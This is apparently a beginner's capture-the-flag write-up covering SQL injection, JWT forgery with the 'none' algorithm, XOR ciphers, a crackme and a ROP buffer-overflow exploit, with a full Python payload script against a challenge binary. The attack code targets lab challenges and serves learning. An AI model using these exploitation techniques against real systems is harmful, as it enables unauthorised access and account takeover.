Hack for a Change CTF | writeup
Hello I’m Sho. I found this ctf on CTFtime. Me & teammate register this ctf before this event start 8 hours. LOL
This is my first writeup written in English, so my English is not very good yet. Sorry about that, and I hope you still enjoy reading it.
so let’s start it!
📌Microfinance IDOR

this one is very easy. the answer is 3 ( I just did a little manual and got proof code LOL)

📌Slum Survey Photo

I though I’d need advanced tools to find the flag, but I didn’t. just “strings”

📌WelfareNet Admin

This challenge is about sql injection. There is no blacklist filtering, so it is just a simple sql injection

use only comments to ensure that query contains only one condition


📌Walfare Payments PCAP

no need necessary to use advance tool, and it uses the same method as “Slum Survey Photo”
just “strings” it LOL


📌Poverty Action Cipher

this quite pretty hard for me. cause we need to do some research a bit word in 2030agenda

after load puzzle it will show the cipher that contain a 3 layer of encryption
from now on, I will use the word “state” insted of “layer”
State 1: I use Caesar cipher for decrypt

“ ENDING POVERTY IN ALL ITS FORMS EVERYWHERE REMAINS THE GREATEST GLOBAL CHALLENGE FACING THE WORLD TODAY AND AN INDISPENSABLE REQUIREMENT FOR SUSTAINABLE DEVELOPMENT.”
🤔
State 2: I use Vigenere cipher with key “dignity”

State 3: this is a hard part for me
In the instruction said “encoded as hex. Repeating-byte XOR with an 8-byte key. The plaintext is a declaration about the SDG 1 mandate.”
the question is what is the key?
- Guess plaintext
go to this website 2030agenda
the hint of state 3 say: “Stage 3 verb appears in the cleartext you produced. Hash it, take the first eight bytes, XOR.”

so I guess “eradicate”
get first 8 letter “eradicat” then convert to hex 45 52 41 44 49 43 41 54
get first 8 bytes of ciphertext “1a295f35bcafb…” 1a 29 5f 35 bc af b4 fd
note:
plaintext xor key = cipher
cipher xor plaintext = key

so the key is 5f 7b 1e 71 f5 ec f5 a9
now go back and follow the instructions



📌Cash Aid Routing


{ "ok": true, "villages": [ { "id": 0, "is_depot": true, "x": 90.79, "y": 17.02, "demand_usd": 0 }, { "id": 1, "is_depot": false, "x": 81.19, "y": 47.28, "demand_usd": 114 }, { "id": 2, "is_depot": false, "x": 47.21, "y": 10.23, "demand_usd": 209 }, { "id": 3, "is_depot": false, "x": 92.02, "y": 23.29, "demand_usd": 398 }, { "id": 4, "is_depot": false, "x": 60.14, "y": 89.34, "demand_usd": 81 }, { "id": 5, "is_depot": false, "x": 30.54, "y": 55.09, "demand_usd": 277 }, { "id": 6, "is_depot": false, "x": 82.55, "y": 6.11, "demand_usd": 138 }, { "id": 7, "is_depot": false, "x": 85.03, "y": 67.2, "demand_usd": 71 }, { "id": 8, "is_depot": false, "x": 89.2, "y": 40.66, "demand_usd": 113 }, { "id": 9, "is_depot": false, "x": 71.91, "y": 72.29, "demand_usd": 318 }, { "id": 10, "is_depot": false, "x": 85.36, "y": 20.85, "demand_usd": 83 }, { "id": 11, "is_depot": false, "x": 23.14, "y": 45.97, "demand_usd": 191 }, { "id": 12, "is_depot": false, "x": 46.91, "y": 13.36, "demand_usd": 59 }, { "id": 13, "is_depot": false, "x": 42.61, "y": 23.76, "demand_usd": 147 }, { "id": 14, "is_depot": false, "x": 27.02, "y": 72.79, "demand_usd": 169 }, { "id": 15, "is_depot": false, "x": 10.75, "y": 42.54, "demand_usd": 271 }, { "id": 16, "is_depot": false, "x": 48.28, "y": 61.14, "demand_usd": 134 }, { "id": 17, "is_depot": false, "x": 64.04, "y": 43.33, "demand_usd": 382 }, { "id": 18, "is_depot": false, "x": 30.99, "y": 30.52, "demand_usd": 67 }, { "id": 19, "is_depot": false, "x": 39.44, "y": 29.66, "demand_usd": 321 }, { "id": 20, "is_depot": false, "x": 24.75, "y": 64.1, "demand_usd": 361 }, { "id": 21, "is_depot": false, "x": 42.33, "y": 51.71, "demand_usd": 165 }, { "id": 22, "is_depot": false, "x": 8.86, "y": 81.15, "demand_usd": 196 }, { "id": 23, "is_depot": false, "x": 50.41, "y": 87.36, "demand_usd": 287 }, { "id": 24, "is_depot": false, "x": 55.23, "y": 50.91, "demand_usd": 321 }, { "id": 25, "is_depot": false, "x": 93.59, "y": 20.17, "demand_usd": 361 } ], "n": 25, "max_total_distance": 538.16}the easiest manual way is plotting and find way that nearest or shortest path, then draw a line down it

25,3,10,6,8,1,17,24,16,21,5,20,14,22,11,15,18,19,13,12,2,9,7,4,23
and the easiest (automatic) way is using AI plotting this & answer LOL

📌Poverty Registry

objective is create a jwt cookie with the admin role

This response is from “GET Info” button

“GET JWKS” this give us jwt cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ijk3ZWFlNGNiODEzODgyNzcifQ.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoidXNlciIsImlhdCI6MTc3OTIwMjg0NSwiZXhwIjoxNzc5MjA2NDQ1fQ.JaKSpufmzVecFB4CT2BZIKp6qbtPVeObYFUx6Y1NuvA
“GET pubket (PEM)”

I’m using jwt.io for decode jwt cookie

the safety way to create jwt with a valid signature using the HS256 algorithm is use correct secret key, However, we do not know the secret key.
second option is use the RS256 algorithm. This requires a private key for signing secret key. But we only have access to the public key
last option is not use any algorithm at all. It sounds quite funny, but we still need to try it haha

AND IT WORK LOL (I dont know how)

📌Stipend Validator


first let’s take a look at the logic of this code
Input:
- Check the length, which must be equal to _0xff.length
- XOR each charCode with the key
- If the result is not equal to _0xff[i], the validation fails
this codesimply performs a normal XOR
as explained in “Poverty Action Cipher” :
plaintext xor key = cipher
cipher xor plaintext = key
if we have any two out of these three things, we can recover the third one.
var _0xff=[0x98,0x9f,0x87,0x2d,0x0a,0xae,0x3c,0xb3,0xc8,0x99,0x84,0x2e,0x09,0xae,0x6d,0xb3,0xc3,0x91,0x86,0x2b,0x5b,0xaa,0x6f,0xee];var _0x77=[0xfa,0xa9,0xe2,0x18,0x39,0x9a,0x59,0x8a];let’s decode it


📌Ration Kiosk

Now we in reverse engineer section! this is my best part ever ever ever ver ver ver ver vevevef veevev
Let’s start hacking it!

This binary was compiled without PIE, so we can easily determine the actual addresses of its functions.

I’m guessing it might related to a buffer overflow vuln
let’s check the function that might give us the flag
nm Ration_Kiosk | grep -E "give|flag|admin|handle|main"
take a look at handle_request function

To make it easier to read, I’ll put these assembly code in Assembly to C Converter

void handle_request() { char buffer[72]; long nbytes; write(1, (void*)0x47e050, 7); nbytes = read(0, buffer, 0x400); // 0x400 = 1024The buffer size is only 72 bytes, but the “read” function reads up to 1024 bytes into it.
It’s clearly buffer overflow
important
However, if we create a payload, we need to reference the buffer bytes from the assembly.
give_flag function is our goal (0x4017b9)
00000000004017b9 <give_flag>: 4017b9: 55 push %rbp 4017ba: 48 89 e5 mov %rsp,%rbp 4017bd: 48 83 ec 70 sub $0x70,%rsp 4017c1: 48 89 7d 98 mov %rdi,-0x68(%rbp) 4017c5: 48 89 75 90 mov %rsi,-0x70(%rbp)... 401831: 0f b6 44 05 e0 movzbl -0x20(%rbp,%rax,1),%eax 401836: 31 c2 xor %eax,%edxgive_flag() receives a value (8 bytes int) as the key directly, not an address
0x4017c1 & 0x 4017c5 is store values from rdi & rsi into the stack
(In x86–64 Linux, the ROP chain passes arguments to a function using rdi as the first argument & rsi as the second argument)
Brief summary :
This means that the give_flag function cannot directly create a flag; it must accept an arguments, which is a keys, to generate the flag.
Next, we need find the keys used as the arguments for the give_flag function
I took the results from the nm command and used chatgpt to filter global variables that were created, not those of the program by default.

so i think the keys is subsidy_alpha & subsidy_beta because we need 2 arguments for the function, and these 2 variables names are related
00000000004aa0e0 D subsidy_alpha00000000004aa200 D subsidy_betaas you can see, we can do a ROP gadgets in admin_audit function
pop %rdi; ret
pop %rsi; ret

calculate offset (from start to return address) handle_request function

0x50 + 8 = 0x58 = 88 bytes
now we ready to create the payload
python3 -c "import struct# addressespop_rdi = 0x4017b5pop_rsi = 0x4017b7give_flag = 0x4017b9# key valuesalpha_val = 0xdad72c2af45285e0beta_val = 0x27de289ed9f65f24# offset to return addressoffset = 0x50 + 8 # = 88def p64(val): return struct.pack('<Q', val) # little-endian 8 bytespayload = b'A' * offset # paddingpayload += p64(pop_rdi) # gadget: pop rdi; retpayload += p64(alpha_val) # ->rdi = subsidy_alphapayload += p64(pop_rsi) # gadget: pop rsi; retpayload += p64(beta_val) # ->rsi = subsidy_betapayload += p64(give_flag) # ->give_flag(rdi, rsi)print(f'Total payload: {len(payload)} bytes')with open('payload.bin', 'wb') as f: f.write(payload)print('Saved: payload.bin')print('Hex:', payload.hex())"Once we have finished creating the payload, now we are ready to sent the payload to this executable
cat payload.bin | ./Ration_Kiosk
📌BasicIncome Crackme


First we need to find the entry point & main function

we can that the address of main function is at 0x401680


#include <stdio.h>#include <string.h>#include <stdint.h>/** * External global/static data identified from memory addresses. * Based on the assembly offsets (e.g., 0x47e008, 0x47e0d0). */// 0x47e008: "Please enter the license key: " (length 0x23)const char* STRING_47e008 = "Please enter the license key: ";// 0x47e061: "Key: " (length 0xe)const char* STRING_47e061 = "Key: ";// 0x47e030: "Invalid key format. Please try again.\n" (length 0x30)const char* STRING_47e030 = "Invalid key format. Please try again.\n";// 0x47e070: "Wrong key!\n" (length 0xc)const char* STRING_47e070 = "Wrong key!\n";// 0x47e07d: "Flag decrypted: " (length 0x13)const char* STRING_47e07d = "Flag decrypted: ";// 0x47e0e0: XOR mask for validation (8 bytes used with and 0x7)const uint8_t DATA_47e0e0[] = { /* Content depends on binary, placeholder for logic */ };// 0x47e0d0: Expected comparison values after XOR (16 bytes)const uint8_t DATA_47e0d0[] = { /* Content depends on binary */ };// 0x47e0a0: Ciphertext for flag decryption (40 bytes / 0x28)const uint8_t DATA_47e0a0[] = { /* Content depends on binary */ };/** * Standard Library / External Function Mappings: * 0x40acf0: likely fwrite or similar stream output * 0x40a960: likely fflush * 0x40aa50: likely fgets * 0x4010c8: likely strlen * 0x40cd90: likely fputc or putchar * 0x4aa6c8: likely stdout * 0x4aa6d0: likely stderr or a specific log stream * 0x4aa6d8: likely stdin */// Mock pointers for FILE streamsextern FILE *stream_4aa6c8; // stdoutextern FILE *stream_4aa6d0; // stderr/logextern FILE *stream_4aa6d8; // stdinint validate_and_decrypt() { // 401680: push rbx // 401694: add rsp, -0x80 (Local stack allocation) uint8_t stack_buffer[128]; uint8_t *rbx; size_t rax;
// 401681: pxor xmm0, xmm0 // 40169f - 4016bd: zero out part of the stack memset(&stack_buffer[0x30], 0, 80); // 401685 - 4016bd: fwrite(STRING_47e008, 1, 0x23, stdout) fwrite(STRING_47e008, 1, 0x23, stream_4aa6c8); // 4016c2 - 4016d8: fwrite(STRING_47e061, 1, 0xe, stdout) fwrite(STRING_47e061, 1, 0xe, stream_4aa6c8); // 4016dd - 4016e4: fflush(stdout) fflush(stream_4aa6c8); // 4016e9 - 4016f8: fgets(rbx, 0x50, stdin) rbx = &stack_buffer[0x30]; if (fgets((char*)rbx, 0x50, stream_4aa6d8) == NULL) { // 401700: je 0x40184c goto label_40184c; } // 401709: call strlen rax = strlen((char*)rbx); // 40170e - 401711: test rax, rax; jne 40172d if (rax == 0) { // 401713: jmp 0x401831 goto label_401831; } // Loop to trim trailing Newlines/Carriage Returns while (rax != 0) { // 40172d: mov rcx, rax size_t rcx = rax; // 401730: sub rax, 1 rax--; // 401734: movzx edx, BYTE PTR [rbx+rax*1] uint8_t dl = rbx[rax]; // 401738 - 40173b: cmp dl, 0xa; je 0x401720 // 40173d - 401740: cmp dl, 0xd; je 0x401720 if (dl == 0x0a || dl == 0x0d) { // 401720: mov BYTE PTR [rbx+rax*1], 0x0 rbx[rax] = 0; // 401724: test rax, rax; je 401831 if (rax == 0) goto label_401831; continue; }
// 401742: cmp rcx, 0x10 if (rcx != 0x10) { // 401746: jne 0x401831 goto label_401831; } break; } // 40174c - 40177a: (Various NOPs for alignment) // Key Validation Loop (16 iterations) // 401780: for (rax = 0; rax < 0x10; rax++) { // 401783: and edx, 0x7 uint32_t rdx_idx = (uint32_t)rax & 0x7; // 401786: movzx edx, BYTE PTR [rdx+0x47e0e0] uint8_t dl = DATA_47e0e0[rdx_idx]; // 40178d: xor dl, BYTE PTR [rbx+rax*1] dl ^= rbx[rax]; // 401790: cmp BYTE PTR [rax+0x47e0d0], dl if (DATA_47e0d0[rax] != dl) { // 401796: jne 0x401853 goto label_401853; } } // 4017a6 - 4017b3: Clear 0x29 bytes at rsp (using rep stos) // Note: rbx is reassigned to rsp here in asm, but used as output buffer uint8_t output_buffer[0x29]; memset(output_buffer, 0, 0x29); // Flag Decryption Loop (40 iterations) // 4017c0: for (rax = 0; rax < 0x28; rax++) { // 4017c3: and edx, 0xf uint32_t rdx_idx = (uint32_t)rax & 0xf; // 4017c6: movzx edx, BYTE PTR [rsp+rdx*1+0x30] (Uses indices from the input key) uint8_t dl = rbx[rdx_idx]; // 4017cb: xor dl, BYTE PTR [rax+0x47e0a0] dl ^= DATA_47e0a0[rax]; // 4017d1: mov BYTE PTR [output_buffer+rax*1], dl output_buffer[rax] = dl; } // 4017de - 4017f4: fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0) fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0); // 4017f9 - 4017fc: call strlen(output_buffer) rax = strlen((char*)output_buffer); // 401801 - 401813: fwrite(output_buffer, 1, rax, stream_4aa6d0) fwrite(output_buffer, 1, rax, stream_4aa6d0); // 401818 - 401824: fputc('\n', stream_4aa6d0) fputc(0x0a, stream_4aa6d0); // 401829: xor eax, eax // 40182b - 401830: Epilogue return 0;label_401831: // 401831 - 401847: fwrite(STRING_47e030, 1, 0x30, stdout) fwrite(STRING_47e030, 1, 0x30, stream_4aa6c8);label_40184c: // 40184c: mov eax, 1 return 1;label_401853: // 401853 - 401869: fwrite(STRING_47e070, 1, 0xc, stdout) fwrite(STRING_47e070, 1, 0xc, stream_4aa6c8); // 40186e: jmp 0x40184c goto label_40184c;}flow of this executable
0x401680: print banner0x4016c2: print "household_id> "0x4016e4: flush stdout0x4016f8: fgets(buf, 0x50, stdin) read input in rbx (buf on stack)0x401700: je 0x40184c if fgets give NULL -> done0x401709: strlen(buf)0x401711: jne 0x40172d if len != 0 -> continue0x401742: cmp rcx, 0x10 check length == 16?0x401746: jne 0x401831 if not -> "Ineligible"We’ve found the Validation Loop — the heart of the problem. (in the code above)
From this code, we can create the following equation :
EXPECTED[i] == input[i] XOR KEY[i % 8]
therefore :
input[i] = EXPECTED[i] XOR KEY[i % 8]
now we extract the EXPECTED and KEY values from the binary
let take a look at LOAD Segments of ELF

Based on the LOAD, it could be inferred that 0x47e0e0 & 0x47e0d0 might be our EXPECTED and KEY.

KEY @ VA 0x47e0e0 → file offset 0x7e0e0 (8 bytes)EXPECTED @ VA 0x47e0d0 → file offset 0x7e0d0 (16 bytes)
calculate the Household ID
KEY = bytes.fromhex("16b056fb28f0ac27")EXPECTED = bytes.fromhex("2ed660ca1e959813278360cd1dc99c14")household_id = bytes([EXPECTED[i] ^ KEY[i % 8] for i in range(16)])print(household_id.decode()) # → 8f616e4413665903after finished validation, we found Voucher Generation Loop
; Loop i = 0..39 (40 bytes)0x4017c0: mov rdx, rax0x4017c3: and edx, 0xf ; rdx = i % 160x4017c6: movzx edx, [rsp + rdx + 0x30] ; = input[i % 16]0x4017cb: xor dl, [rax + 0x47e0a0] ; XOR with VOUCHER_TABLE[i]0x4017d1: mov [rbx + rax], dl ; store resultVOUCHER_TABLE = data[0x7e0a0 : 0x7e0a0+40]voucher = bytes([VOUCHER_TABLE[i] ^ household_id[i % 16] for i in range(40)])print(voucher.decode())now everything is ready, let sent the payload
python3 -c "d=open('BasicIncome_Crackme','rb').read();k=d[0x7e0e0:0x7e0e8];e=d[0x7e0d0:0x7e0e0];print(bytes([e[i]^k[i%8]for i in range(16)]).decode())" | ./BasicIncome_Crackme📌Slum Pinpoint

now we’re in the osint section! YAY! YAY! (I hate it!)




I use google, google ai & google map in this question ദ്ദി(ᵔᗜᵔ)


